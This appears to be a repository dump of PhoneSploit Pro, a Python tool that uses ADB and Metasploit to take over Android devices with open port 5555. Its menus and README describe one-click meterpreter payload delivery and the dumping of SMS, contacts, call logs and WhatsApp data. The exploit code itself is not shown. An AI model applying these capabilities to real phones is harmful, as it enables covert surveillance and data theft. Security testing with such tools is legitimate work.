├── _config.yml
├── .gitignore
├── docs
├── Screenshot-1.png
├── Screenshot-2.png
├── Screenshot-3.png
├── SECURITY.md
└── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── modules
├── color.py
├── nmap
│ ├── __init__.py
│ ├── test_nmap.py
│ └── nmap.py
├── release.py
└── banner.py
├── .github
├── ISSUE_TEMPLATE
│ ├── feature_request.md
│ └── bug_report.md
└── FUNDING.yml
├── README.md
├── LICENSE
└── phonesploitpro.py
/_config.yml:
--------------------------------------------------------------------------------
1 | theme: jekyll-theme-cayman
2 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 | Downloaded-Files/
3 | test.apk
4 | test.py
5 | .idea/
6 | hidden.txt
--------------------------------------------------------------------------------
/docs/Screenshot-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MZNStudiosOfc/PhoneSploit-Pro/HEAD/docs/Screenshot-1.png
--------------------------------------------------------------------------------
/docs/Screenshot-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MZNStudiosOfc/PhoneSploit-Pro/HEAD/docs/Screenshot-2.png
--------------------------------------------------------------------------------
/docs/Screenshot-3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MZNStudiosOfc/PhoneSploit-Pro/HEAD/docs/Screenshot-3.png
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # Contributing
2 |
3 | Please try to make valuable contributions and avoid spam pull requests.
4 |
5 | #### For minor changes
6 | * Fork the project and make the changes.
7 | * Open a pull request describing your contribution.
8 |
9 | #### For major changes
10 | * First open an issue and discuss your views.
11 |
12 |
--------------------------------------------------------------------------------
/modules/color.py:
--------------------------------------------------------------------------------
1 | '''
2 | Script : PhoneSploit Pro
3 | Author : Mohd Azeem (github.com/AzeemIdrisi)
4 | '''
5 |
6 | RED = '\033[91m'
7 | GREEN = '\033[92m'
8 | # ORANGE = '\033[33m'
9 | YELLOW = '\033[93m'
10 | # BLUE = '\033[94m'
11 | PURPLE = '\033[95m'
12 | CYAN = '\033[96m'
13 | WHITE = '\033[97m'
14 |
15 |
16 | color_list = [RED, GREEN, YELLOW, PURPLE, CYAN, WHITE]
17 |
18 | # for i in color_list:
19 | # print(i + 'Text')
20 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/feature_request.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Feature request
3 | about: Suggest an idea for this project
4 | title: ''
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Is your feature request related to a problem? Please describe.**
11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
12 |
13 | **Describe the solution you'd like**
14 | A clear and concise description of what you want to happen.
15 |
16 | **Describe alternatives you've considered**
17 | A clear and concise description of any alternative solutions or features you've considered.
18 |
19 | **Additional context**
20 | Add any other context or screenshots about the feature request here.
21 |
--------------------------------------------------------------------------------
/docs/SECURITY.md:
--------------------------------------------------------------------------------
1 | # Security Policy
2 |
3 | ## Supported Versions
4 |
5 |
7 |
8 | | Version | Supported |
9 | | ------- | ------------------ |
10 | | v1.5 | ✅ |
11 | | v1.4 | ✅ |
12 | | v1.3 | ✅ |
13 | | v1.2 | ✅ |
14 | | v1.1 | ✅ |
15 | | v1.0 | ✅ |
16 |
18 | ## Reporting a Vulnerability
19 |
20 | To report a vulnerability either contact the maintainer or open an issue.
21 |
22 |
27 |
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: AzeemIdrisi # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
4 | patreon: # Replace with a single Patreon username
5 | open_collective: # Replace with a single Open Collective username
6 | ko_fi: # Replace with a single Ko-fi username
7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
9 | liberapay: # Replace with a single Liberapay username
10 | issuehunt: # Replace with a single IssueHunt username
11 | otechie: # Replace with a single Otechie username
12 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry
13 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
14 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/bug_report.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Bug report
3 | about: Create a report to help us improve
4 | title: ''
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Describe the bug**
11 | A clear and concise description of what the bug is.
12 |
13 | **To Reproduce**
14 | Steps to reproduce the behavior:
15 | 1. Go to '...'
16 | 2. Click on '....'
17 | 3. Scroll down to '....'
18 | 4. See error
19 |
20 | **Expected behavior**
21 | A clear and concise description of what you expected to happen.
22 |
23 | **Screenshots**
24 | If applicable, add screenshots to help explain your problem.
25 |
26 | **Desktop (please complete the following information):**
27 | - OS: [e.g. iOS]
28 | - Browser [e.g. chrome, safari]
29 | - Version [e.g. 22]
30 |
31 | **Smartphone (please complete the following information):**
32 | - Device: [e.g. iPhone6]
33 | - OS: [e.g. iOS8.1]
34 | - Browser [e.g. stock browser, safari]
35 | - Version [e.g. 22]
36 |
37 | **Additional context**
38 | Add any other context about the problem here.
39 |
--------------------------------------------------------------------------------
/modules/nmap/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: latin-1 -*-
2 |
3 | """
4 | python-nmap - 2010.12.17
5 |
6 | python-nmap is a python library which helps in using nmap port scanner.
7 | It allows to easilly manipulate nmap scan results and will be a perfect
8 | tool for systems administrators who want to automatize scanning task
9 | and reports. It also supports nmap script outputs.
10 |
11 |
12 | Author :
13 |
14 | * Alexandre Norman - norman@xael.org
15 |
16 | Contributors:
17 |
18 | * Steve 'Ashcrow' Milner - steve@gnulinux.net
19 | * Brian Bustin - brian at bustin.us
20 | * old.schepperhand
21 | * Johan Lundberg
22 | * Thomas D. maaaaz
23 |
24 | Licence : GPL v3 or any later version
25 |
26 |
27 | This program is free software: you can redistribute it and/or modify
28 | it under the terms of the GNU General Public License as published by
29 | the Free Software Foundation, either version 3 of the License, or
30 | any later version.
31 |
32 | This program is distributed in the hope that it will be useful,
33 | but WITHOUT ANY WARRANTY; without even the implied warranty of
34 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
35 | GNU General Public License for more details.
36 |
37 | You should have received a copy of the GNU General Public License
38 | along with this program. If not, see .
39 | """
40 |
41 | from .nmap import * # noqa
42 | from .nmap import __author__ # noqa
43 | from .nmap import __version__ # noqa
44 | from .nmap import __last_modification__ # noqa
45 |
--------------------------------------------------------------------------------
/modules/release.py:
--------------------------------------------------------------------------------
1 | from modules import color
2 | from modules import banner
3 | import os
4 | import platform
5 |
6 |
7 | def exit_phonesploit_pro():
8 | global run_phonesploit_pro
9 | run_phonesploit_pro = False
10 | print("\nExiting...\n")
11 |
12 |
13 | def display_menu():
14 | """ Displays banner and menu"""
15 | print(selected_banner, page)
16 |
17 |
18 | def clear_screen():
19 | """ Clears the screen and display menu """
20 | os.system(clear)
21 | display_menu()
22 |
23 |
24 | def start():
25 | operating_system = platform.system()
26 | if operating_system == 'Windows':
27 | # Windows specific configuration
28 | windows_config()
29 |
30 |
31 | def windows_config():
32 | global clear
33 | clear = 'cls'
34 |
35 |
36 | def change_page(name):
37 | global page, page_number, selected_banner
38 | if name == 'p':
39 | if page_number > 0:
40 | page_number = page_number - 1
41 | elif name == 'n':
42 | if page_number < 2:
43 | page_number = page_number + 1
44 | if page_number == 0:
45 | selected_banner = color.RED + banner.banner6
46 | elif page_number == 1:
47 | selected_banner = color.CYAN + banner.banner11
48 | elif page_number == 2:
49 | selected_banner = color.YELLOW + banner.banner2
50 | page = banner.menu[page_number]
51 | clear_screen()
52 |
53 |
54 | def main():
55 | # Clearing the screen and presenting the menu
56 | # taking selection input from user
57 | print(f"\n {color.CYAN}99 : Clear Screen 0 : Exit")
58 | option = input(
59 | f"\n{color.RED}[Main Menu] {color.WHITE}Enter selection > ").lower()
60 | match option:
61 | case 'p':
62 | change_page('p')
63 | case 'n':
64 | change_page('n')
65 | case '0':
66 | exit_phonesploit_pro()
67 | case '99':
68 | clear_screen()
69 |
70 |
71 | clear = 'clear'
72 | page_number = 0
73 | page = banner.menu[page_number]
74 |
75 | # Concatenating banner color with the selected banner
76 | selected_banner = color.RED + banner.banner6
77 |
78 | start()
79 | run_phonesploit_pro = True
80 | if run_phonesploit_pro:
81 | clear_screen()
82 | while run_phonesploit_pro:
83 | try:
84 | main()
85 | except KeyboardInterrupt:
86 | exit_phonesploit_pro()
87 |
--------------------------------------------------------------------------------
/docs/CODE_OF_CONDUCT.md:
--------------------------------------------------------------------------------
1 | # Contributor Covenant Code of Conduct
2 |
3 | ## Our Pledge
4 |
5 | We as members, contributors, and leaders pledge to make participation in our
6 | community a harassment-free experience for everyone, regardless of age, body
7 | size, visible or invisible disability, ethnicity, sex characteristics, gender
8 | identity and expression, level of experience, education, socio-economic status,
9 | nationality, personal appearance, race, religion, or sexual identity
10 | and orientation.
11 |
12 | We pledge to act and interact in ways that contribute to an open, welcoming,
13 | diverse, inclusive, and healthy community.
14 |
15 | ## Our Standards
16 |
17 | Examples of behavior that contributes to a positive environment for our
18 | community include:
19 |
20 | * Demonstrating empathy and kindness toward other people
21 | * Being respectful of differing opinions, viewpoints, and experiences
22 | * Giving and gracefully accepting constructive feedback
23 | * Accepting responsibility and apologizing to those affected by our mistakes,
24 | and learning from the experience
25 | * Focusing on what is best not just for us as individuals, but for the
26 | overall community
27 |
28 | Examples of unacceptable behavior include:
29 |
30 | * The use of sexualized language or imagery, and sexual attention or
31 | advances of any kind
32 | * Trolling, insulting or derogatory comments, and personal or political attacks
33 | * Public or private harassment
34 | * Publishing others' private information, such as a physical or email
35 | address, without their explicit permission
36 | * Other conduct which could reasonably be considered inappropriate in a
37 | professional setting
38 |
39 | ## Enforcement Responsibilities
40 |
41 | Community leaders are responsible for clarifying and enforcing our standards of
42 | acceptable behavior and will take appropriate and fair corrective action in
43 | response to any behavior that they deem inappropriate, threatening, offensive,
44 | or harmful.
45 |
46 | Community leaders have the right and responsibility to remove, edit, or reject
47 | comments, commits, code, wiki edits, issues, and other contributions that are
48 | not aligned to this Code of Conduct, and will communicate reasons for moderation
49 | decisions when appropriate.
50 |
51 | ## Scope
52 |
53 | This Code of Conduct applies within all community spaces, and also applies when
54 | an individual is officially representing the community in public spaces.
55 | Examples of representing our community include using an official e-mail address,
56 | posting via an official social media account, or acting as an appointed
57 | representative at an online or offline event.
58 |
59 | ## Enforcement
60 |
61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be
62 | reported to the community leaders responsible for enforcement at
63 | Report to maintainer..
64 | All complaints will be reviewed and investigated promptly and fairly.
65 |
66 | All community leaders are obligated to respect the privacy and security of the
67 | reporter of any incident.
68 |
69 | ## Enforcement Guidelines
70 |
71 | Community leaders will follow these Community Impact Guidelines in determining
72 | the consequences for any action they deem in violation of this Code of Conduct:
73 |
74 | ### 1. Correction
75 |
76 | **Community Impact**: Use of inappropriate language or other behavior deemed
77 | unprofessional or unwelcome in the community.
78 |
79 | **Consequence**: A private, written warning from community leaders, providing
80 | clarity around the nature of the violation and an explanation of why the
81 | behavior was inappropriate. A public apology may be requested.
82 |
83 | ### 2. Warning
84 |
85 | **Community Impact**: A violation through a single incident or series
86 | of actions.
87 |
88 | **Consequence**: A warning with consequences for continued behavior. No
89 | interaction with the people involved, including unsolicited interaction with
90 | those enforcing the Code of Conduct, for a specified period of time. This
91 | includes avoiding interactions in community spaces as well as external channels
92 | like social media. Violating these terms may lead to a temporary or
93 | permanent ban.
94 |
95 | ### 3. Temporary Ban
96 |
97 | **Community Impact**: A serious violation of community standards, including
98 | sustained inappropriate behavior.
99 |
100 | **Consequence**: A temporary ban from any sort of interaction or public
101 | communication with the community for a specified period of time. No public or
102 | private interaction with the people involved, including unsolicited interaction
103 | with those enforcing the Code of Conduct, is allowed during this period.
104 | Violating these terms may lead to a permanent ban.
105 |
106 | ### 4. Permanent Ban
107 |
108 | **Community Impact**: Demonstrating a pattern of violation of community
109 | standards, including sustained inappropriate behavior, harassment of an
110 | individual, or aggression toward or disparagement of classes of individuals.
111 |
112 | **Consequence**: A permanent ban from any sort of public interaction within
113 | the community.
114 |
115 | ## Attribution
116 |
117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage],
118 | version 2.0, available at
119 | https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
120 |
121 | Community Impact Guidelines were inspired by [Mozilla's code of conduct
122 | enforcement ladder](https://github.com/mozilla/diversity).
123 |
124 | [homepage]: https://www.contributor-covenant.org
125 |
126 | For answers to common questions about this code of conduct, see the FAQ at
127 | https://www.contributor-covenant.org/faq. Translations are available at
128 | https://www.contributor-covenant.org/translations.
129 |
--------------------------------------------------------------------------------
/modules/banner.py:
--------------------------------------------------------------------------------
1 | """
2 | Script : PhoneSploit Pro
3 | Author : Maazin King (github.com/MznStudiosOfc)
4 | """
5 |
6 | from modules import color
7 |
8 | version = 'v1.51'
9 |
10 | menu1 = f'''
11 |
12 | {color.WHITE}1. {color.GREEN}Connect a Device {color.WHITE}6. {color.GREEN}Get Screenshot {color.WHITE}11. {color.GREEN}Install an APK
13 | {color.WHITE}2. {color.GREEN}List Connected Devices {color.WHITE}7. {color.GREEN}Screen Record {color.WHITE}12. {color.GREEN}Uninstall an App
14 | {color.WHITE}3. {color.GREEN}Disconnect All Devices {color.WHITE}8. {color.GREEN}Download File/Folder from Device {color.WHITE}13. {color.GREEN}List Installed Apps
15 | {color.WHITE}4. {color.GREEN}Scan Network for Devices {color.WHITE}9. {color.GREEN}Send File/Folder to Device {color.WHITE}14. {color.GREEN}Access Device Shell
16 | {color.WHITE}5. {color.GREEN}Mirror & Control Device {color.WHITE}10. {color.GREEN}Run an App {color.WHITE}15. {color.GREEN}Hack Device {color.RED}(Using Metasploit)
17 |
18 |
19 | {color.YELLOW}
20 | N : Next Page (Page : 1 / 3)'''
21 |
22 | menu2 = f'''
23 |
24 | {color.WHITE}16. {color.GREEN}List All Folders/Files {color.WHITE}21. {color.GREEN}Anonymous Screenshot {color.WHITE}26. {color.GREEN}Play a Video on Device
25 | {color.WHITE}17. {color.GREEN}Send SMS {color.WHITE}22. {color.GREEN}Anonymous Screen Record {color.WHITE}27. {color.GREEN}Get Device Information
26 | {color.WHITE}18. {color.GREEN}Copy WhatsApp Data {color.WHITE}23. {color.GREEN}Open a Link on Device {color.WHITE}28. {color.GREEN}Get Battery Information
27 | {color.WHITE}19. {color.GREEN}Copy All Screenshots {color.WHITE}24. {color.GREEN}Display a Photo on Device {color.WHITE}29. {color.GREEN}Restart Device
28 | {color.WHITE}20. {color.GREEN}Copy All Camera Photos {color.WHITE}25. {color.GREEN}Play an Audio on Device {color.WHITE}30. {color.GREEN}Advanced Reboot Options
29 |
30 |
31 | {color.YELLOW}
32 | P : Previous Page N : Next Page (Page : 2 / 3)'''
33 |
34 | menu3 = f'''
35 |
36 | {color.WHITE}31. {color.GREEN}Unlock Device {color.WHITE}36. {color.GREEN}Extract APK from Installed App {color.WHITE}41. {color.GREEN}Visit PhoneSploit-Pro on GitHub
37 | {color.WHITE}32. {color.GREEN}Lock Device {color.WHITE}37. {color.GREEN}Stop ADB Server {color.WHITE} {color.GREEN}
38 | {color.WHITE}33. {color.GREEN}Dump All SMS {color.WHITE}38. {color.GREEN}Power Off Device {color.WHITE} {color.GREEN}
39 | {color.WHITE}34. {color.GREEN}Dump All Contacts {color.WHITE}39. {color.GREEN}Use Keycodes (Control Device) {color.WHITE} {color.GREEN}
40 | {color.WHITE}35. {color.GREEN}Dump Call Logs {color.WHITE}40. {color.GREEN}Update PhoneSploit-Pro {color.WHITE} {color.GREEN}
41 |
42 |
43 | {color.YELLOW}
44 | P : Previous Page (Page : 3 / 3)'''
45 |
46 | menu = [menu1, menu2, menu3]
47 |
48 | instruction = f'''
49 |
50 | This attack will launch Metasploit-Framework (msfconsole)
51 |
52 | Use 'Ctrl + C' to stop at any point
53 |
54 | 1. Wait until you see:
55 |
56 | {color.GREEN}meterpreter > {color.WHITE}
57 |
58 | 2. Then use 'help' command to see all meterpreter commands:
59 |
60 | {color.GREEN}meterpreter > {color.YELLOW}help {color.WHITE}
61 |
62 | 3. To exit meterpreter enter 'exit' or To exit Metasploit enter 'exit -y':
63 |
64 | {color.GREEN}meterpreter > {color.YELLOW}exit {color.WHITE}
65 |
66 | {color.GREEN}msf6 > {color.YELLOW}exit -y {color.WHITE}
67 |
68 | {color.RED}[PhoneSploit Pro] {color.WHITE}Press 'Enter' to continue attack / '0' to Go Back to Main Menu
69 | '''
70 |
71 | banner2 = f'''
72 |
73 | ░█▀▀█ █──█ █▀▀█ █▀▀▄ █▀▀ ░█▀▀▀█ █▀▀█ █── █▀▀█ ─▀─ ▀▀█▀▀ ░█▀▀█ █▀▀█ █▀▀█
74 | ░█▄▄█ █▀▀█ █──█ █──█ █▀▀ ─▀▀▀▄▄ █──█ █── █──█ ▀█▀ ──█── ░█▄▄█ █▄▄▀ █──█
75 | ░█─── ▀──▀ ▀▀▀▀ ▀──▀ ▀▀▀ ░█▄▄▄█ █▀▀▀ ▀▀▀ ▀▀▀▀ ▀▀▀ ──▀── ░█─── ▀─▀▀ ▀▀▀▀
76 |
77 |
78 | {color.RED}{version}{color.WHITE} {color.WHITE}By github.com/MznStudiosOfc
79 | '''
80 |
81 | banner3 = f'''
82 |
83 | █▀█ █░█ █▀█ █▄░█ █▀▀ █▀ █▀█ █░░ █▀█ █ ▀█▀ █▀█ █▀█ █▀█
84 | █▀▀ █▀█ █▄█ █░▀█ ██▄ ▄█ █▀▀ █▄▄ █▄█ █ ░█░ █▀▀ █▀▄ █▄█
85 |
86 |
87 | {color.RED}{version}{color.WHITE} {color.WHITE}By github.com/MznStudiosOfc
88 | '''
89 |
90 | banner4 = f'''
91 | _________.__ _________ .__ .__ __ __________
92 | \______ \\ |__ ____ ____ ____ / _____/_____ | | ____ |__|/ |_ \______ \_______ ____
93 | | ___/ | \ / _ \ / \_/ __ \ \_____ \\\____ \| | / _ \| \ __\ | ___/\_ __ \/ _ \
94 | | | | Y ( <_> ) | \ ___/ / \ |_> > |_( <_> ) || | | | | | \( <_> )
95 | |____| |___| /\____/|___| /\___ >_______ / __/|____/\____/|__||__| |____| |__| \____/
96 | \/ \/ \/ \/|__|
97 |
98 |
99 | {color.RED}{version}{color.WHITE} {color.WHITE}By github.com/MznStudiosOfc
100 | '''
101 | banner5 = f'''
102 | ___ __ ____ __ _ __ ___
103 | / _ \/ / ___ ___ ___ / __/__ / /__ (_) /_ / _ \_______
104 | / ___/ _ \/ _ \/ _ \/ -_)\ \/ _ \/ / _ \/ / __/ / ___/ __/ _ \\
105 | /_/ /_//_/\___/_//_/\__/___/ .__/_/\___/_/\__/ /_/ /_/ \___/
106 | /_/
107 |
108 | {color.RED}{version}{color.WHITE} {color.WHITE}By github.com/MznStudiosOfc
109 | '''
110 |
111 | banner6 = f'''
112 | ____ __ _____ __ _ __ ____
113 | / __ \/ /_ ____ ____ ___ / ___/____ / /___ (_) /_ / __ \_________
114 | / /_/ / __ \/ __ \/ __ \/ _ \\\__ \/ __ \/ / __ \/ / __/ / /_/ / ___/ __ \\
115 | / ____/ / / / /_/ / / / / __/__/ / /_/ / / /_/ / / /_ / ____/ / / /_/ /
116 | /_/ /_/ /_/\____/_/ /_/\___/____/ .___/_/\____/_/\__/ /_/ /_/ \____/
117 | /_/
118 |
119 | {color.RED}{version}{color.WHITE} {color.WHITE}By github.com/AzeemIdrisi
120 |
121 | '''
122 |
123 | banner10 = f'''
124 | ____ __ ____ ___ __ ____
125 | /\ _`\ /\ \ /\ _`\ /\_ \ __/\ \__ /\ _`\
126 | \ \ \L\ \ \ \___ ___ ___ __\ \,\L\_\ _____\//\ \ ___ /\_\ \ ,_\ \ \ \L\ \_ __ ___
127 | \ \ ,__/\ \ _ `\ / __`\ /' _ `\ /'__`\/_\__ \ /\ '__`\\\ \ \ / __`\/\ \ \ \/ \ \ ,__/\`'__\/ __`\
128 | \ \ \/ \ \ \ \ \/\ \L\ \/\ \/\ \/\ __/ /\ \L\ \ \ \L\ \\\_\ \_/\ \L\ \ \ \ \ \_ \ \ \/\ \ \//\ \L\ \
129 | \ \_\ \ \_\ \_\ \____/\ \_\ \_\ \____\\\ `\____\ \ ,__//\____\ \____/\ \_\ \__\ \ \_\ \ \_\\\ \____/
130 | \/_/ \/_/\/_/\/___/ \/_/\/_/\/____/ \/_____/\ \ \/ \/____/\/___/ \/_/\/__/ \/_/ \/_/ \/___/
131 | \ \_\
132 | \/_/
133 |
134 | {color.RED}{version}{color.WHITE} {color.WHITE}By github.com/MznStudiosOfc
135 |
136 | '''
137 |
138 | banner11 = f'''
139 | _____________ ________ ______ __________ ________
140 | ___ __ \__ /_____________________ ___/__________ /________(_)_ /_ ___ __ \____________
141 | __ /_/ /_ __ \ __ \_ __ \ _ \____ \___ __ \_ /_ __ \_ /_ __/ __ /_/ /_ ___/ __ \\
142 | _ ____/_ / / / /_/ / / / / __/___/ /__ /_/ / / / /_/ / / / /_ _ ____/_ / / /_/ /
143 | /_/ /_/ /_/\____//_/ /_/\___//____/ _ .___//_/ \____//_/ \__/ /_/ /_/ \____/
144 | /_/
145 |
146 |
147 | {color.RED}{version}{color.WHITE} {color.WHITE}By github.com/MznStudiosOfc
148 |
149 | '''
150 |
151 | banner12 = f'''
152 |
153 | ▒█▀▀█ █░░█ █▀▀█ █▀▀▄ █▀▀ ▒█▀▀▀█ █▀▀█ █░░ █▀▀█ ░▀░ ▀▀█▀▀ ▒█▀▀█ █▀▀█ █▀▀█
154 | ▒█▄▄█ █▀▀█ █░░█ █░░█ █▀▀ ░▀▀▀▄▄ █░░█ █░░ █░░█ ▀█▀ ░░█░░ ▒█▄▄█ █▄▄▀ █░░█
155 | ▒█░░░ ▀░░▀ ▀▀▀▀ ▀░░▀ ▀▀▀ ▒█▄▄▄█ █▀▀▀ ▀▀▀ ▀▀▀▀ ▀▀▀ ░░▀░░ ▒█░░░ ▀░▀▀ ▀▀▀▀
156 |
157 |
158 | {color.RED}{version}{color.WHITE} {color.WHITE}By github.com/MznStudiosOfc
159 |
160 | '''
161 | banner_list = [banner2, banner3, banner4, banner5,
162 | banner6, banner10, banner11, banner12]
163 |
164 | instructions_banner = f'''{color.CYAN}
165 | ____ __ __ _
166 | / _/___ _____/ /________ _______/ /_(_)___ ____ _____
167 | / // __ \/ ___/ __/ ___/ / / / ___/ __/ / __ \/ __ \/ ___/
168 | _/ // / / (__ ) /_/ / / /_/ / /__/ /_/ / /_/ / / / (__ )
169 | /___/_/ /_/____/\__/_/ \__,_/\___/\__/_/\____/_/ /_/____/
170 | {color.WHITE}
171 | '''
172 |
173 | hacking_banner = f'''{color.GREEN}
174 |
175 | █░█ ▄▀█ █▀▀ █▄▀ █ █▄░█ █▀▀ ░ ░ ░
176 | █▀█ █▀█ █▄▄ █░█ █ █░▀█ █▄█ ▄ ▄ ▄
177 | {color.WHITE}
178 | '''
179 |
180 | keycode_menu = f'''
181 | {color.WHITE}1. {color.GREEN}Keyboard Text Input {color.WHITE}11. {color.GREEN}Enter
182 | {color.WHITE}2. {color.GREEN}Home {color.WHITE}12. {color.GREEN}Volume Up
183 | {color.WHITE}3. {color.GREEN}Back {color.WHITE}13. {color.GREEN}Volume Down
184 | {color.WHITE}4. {color.GREEN}Recent Apps {color.WHITE}14. {color.GREEN}Media Play
185 | {color.WHITE}5. {color.GREEN}Power Button {color.WHITE}15. {color.GREEN}Media Pause
186 | {color.WHITE}6. {color.GREEN}DPAD Up {color.WHITE}16. {color.GREEN}Tab
187 | {color.WHITE}7. {color.GREEN}DPAD Down {color.WHITE}17. {color.GREEN}Esc
188 | {color.WHITE}8. {color.GREEN}DPAD Left
189 | {color.WHITE}9. {color.GREEN}DPAD Right
190 | {color.WHITE}10. {color.GREEN}Delete/Backspace
191 | '''
192 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PhoneSploit Pro
2 | ### PhoneSploit with Metasploit Integration.
3 | 
4 | [](https://www.codefactor.io/repository/github/azeemidrisi/phonesploit-pro)
5 | 
6 | 
7 | 
8 | 
9 | 
10 |
11 |
12 | An all-in-one hacking tool written in `Python` to remotely exploit Android devices using `ADB` (Android Debug Bridge) and `Metasploit-Framework`.
13 |
14 |
15 | #### Complete Automation to get a Meterpreter session in One Click
16 |
17 | This tool can automatically __Create__, __Install__, and __Run__ payload on the target device using __Metasploit-Framework__ and __ADB__ to completely hack the Android Device in one click if the device has open ADB port `TCP 5555`.
18 |
19 | The goal of this project is to make penetration testing on Android devices easy. Now you don't have to learn commands and arguments, PhoneSploit Pro does it for you. Using this tool, you can test the security of your Android devices easily.
20 |
21 | > __PhoneSploit Pro__ can also be used as a complete ADB Toolkit to perform various operations on Android devices over Wi-Fi as well as USB.
22 |
23 | # Features
24 | ## v1.0
25 |
26 | * Connect device using ADB remotely.
27 | * List connected devices.
28 | * Disconnect all devices.
29 | * Access connected device shell.
30 | * Stop ADB Server.
31 | * Take screenshot and pull it to computer automatically.
32 | * Screen Record target device screen for a specified time and automatically pull it to computer.
33 | * Download file/folder from target device.
34 | * Send file/folder from computer to target device.
35 | * Run an app.
36 | * Install an APK file from computer to target device.
37 | * Uninstall an app.
38 | * List all installed apps in target device.
39 | * Restart/Reboot the target device to `System`, `Recovery`, `Bootloader`, `Fastboot`.
40 | * __Hack Device Completely__ :
41 | - Automatically fetch your `IP Address` to set `LHOST`.
42 | - Automatically create a payload using `msfvenom`, install it, and run it on target device.
43 | - Then automatically launch and setup __Metasploit-Framework__ to get a `meterpreter` session.
44 | - Getting a `meterpreter` session means the device is completely hacked using Metasploit-Framework, and you can do anything with it.
45 |
46 |
47 | ## v1.1
48 |
49 | * List all files and folders of the target devices.
50 | * Copy all WhatsApp Data to computer.
51 | * Copy all Screenshots to computer.
52 | * Copy all Camera Photos to computer.
53 | * Take screenshots and screen-record anonymously (Automatically delete file from target device).
54 | * Open a link on target device.
55 | * Display an image/photo on target device.
56 | * Play an audio on target device.
57 | * Play a video on target device.
58 | * Get device information.
59 | * Get battery information.
60 | * Use Keycodes to control device remotely.
61 |
62 |
63 | ## v1.2
64 |
65 | * Send SMS through target device.
66 | * Unlock device (Automatic screen on, swipe up and password input).
67 | * Lock device.
68 | * Dump all SMS from device to computer.
69 | * Dump all Contacts from device to computer.
70 | * Dump all Call Logs from device to computer.
71 | * Extract APK from an installed app.
72 |
73 | ## v1.3
74 |
75 | * Mirror and Control the target device.
76 |
77 | ## v1.4
78 |
79 | * Power off the target device.
80 |
81 | ## v1.5
82 |
83 | * Scan local network for connected devices to get Target IP Address.
84 |
85 | # Requirements
86 | * [`python3`](https://www.python.org/) : Python 3.10 or Newer
87 | * [`adb`](https://developer.android.com/studio/command-line/adb) : Android Debug Bridge (ADB) from `Android SDK Platform Tools`
88 | * [`metasploit-framework`](https://www.metasploit.com/) : Metasploit-Framework (`msfvenom` and `msfconsole`)
89 | * [`scrcpy`](https://github.com/Genymobile/scrcpy) : Scrcpy
90 | * [`nmap`](https://nmap.org/) : Nmap
91 |
92 | # Run PhoneSploit Pro
93 |
94 | __PhoneSploit Pro__ does not need any installation and runs directly using `python3`
95 |
96 | > **PhoneSploit Pro** requires Python version 3.10 or above. Please update Python before running the program to meet the requirement.
97 |
98 | #### On Linux / macOS :
99 |
100 | Make sure all the [required](https://github.com/MznStudiosOfc/PhoneSploit-Pro#requirements) software are installed.
101 |
102 | Open terminal and paste the following commands :
103 | ```
104 | git clone https://github.com/MznStudiosOfc/PhoneSploit-Pro.git
105 | ```
106 | ```
107 | cd PhoneSploit-Pro/
108 | ```
109 | ```
110 | python3 phonesploitpro.py
111 | ```
112 | #### On Windows :
113 |
114 | Make sure all the [required](https://github.com/MznStudiosOfc/PhoneSploit-Pro#requirements) software are installed.
115 |
116 |
117 | Open terminal and paste the following commands :
118 | ```
119 | git clone https://github.com/MznStudiosOfc/PhoneSploit-Pro.git
120 | ```
121 | ```
122 | cd PhoneSploit-Pro/
123 | ```
124 | 1. Download and extract latest `platform-tools` from [here](https://developer.android.com/studio/releases/platform-tools.html#downloads).
125 |
126 | 2. Copy all files from the extracted `platform-tools` or `adb` directory to __PhoneSploit-Pro__ directory and then run :
127 |
128 | ```
129 | python phonesploitpro.py
130 | ```
131 |
132 |
133 | # Screenshots
134 |
135 | 
136 | 
137 | 
138 |
139 |
140 |
141 | # Tutorial
142 |
143 |
144 | ## Setting up Android Phone for the first time
145 |
146 | * __Enabling the Developer Options__
147 |
148 | 1. Open `Settings`.
149 | 2. Go to `About Phone`.
150 | 3. Find `Build Number`.
151 | 4. Tap on `Build Number` 7 times.
152 | 5. Enter your pattern, PIN or password to enable the `Developer options` menu.
153 | 6. The `Developer options` menu will now appear in your Settings menu.
154 |
155 | * __Enabling USB Debugging__
156 |
157 | 1. Open `Settings`.
158 | 2. Go to `System` > `Developer options`.
159 | 3. Scroll down and Enable `USB debugging`.
160 |
161 | * __Connecting with Computer__
162 |
163 | 1. Connect your Android device and `adb` host computer to a common Wi-Fi network.
164 | 2. Connect the device to the host computer with a USB cable.
165 | 3. Open a terminal in the computer and enter the following command :
166 | ```
167 | adb devices
168 | ```
169 | 4. A pop-up will appear in the Android phone when you connect your phone to a new PC for the first time : `Allow USB debugging?`.
170 | 5. Click on `Always allow from this computer` check-box and then click `Allow`.
171 | 6. Then in the terminal enter the following command :
172 | ```
173 | adb tcpip 5555
174 | ```
175 | 7. Now you can connect the Android Phone with the computer over Wi-Fi using `adb`.
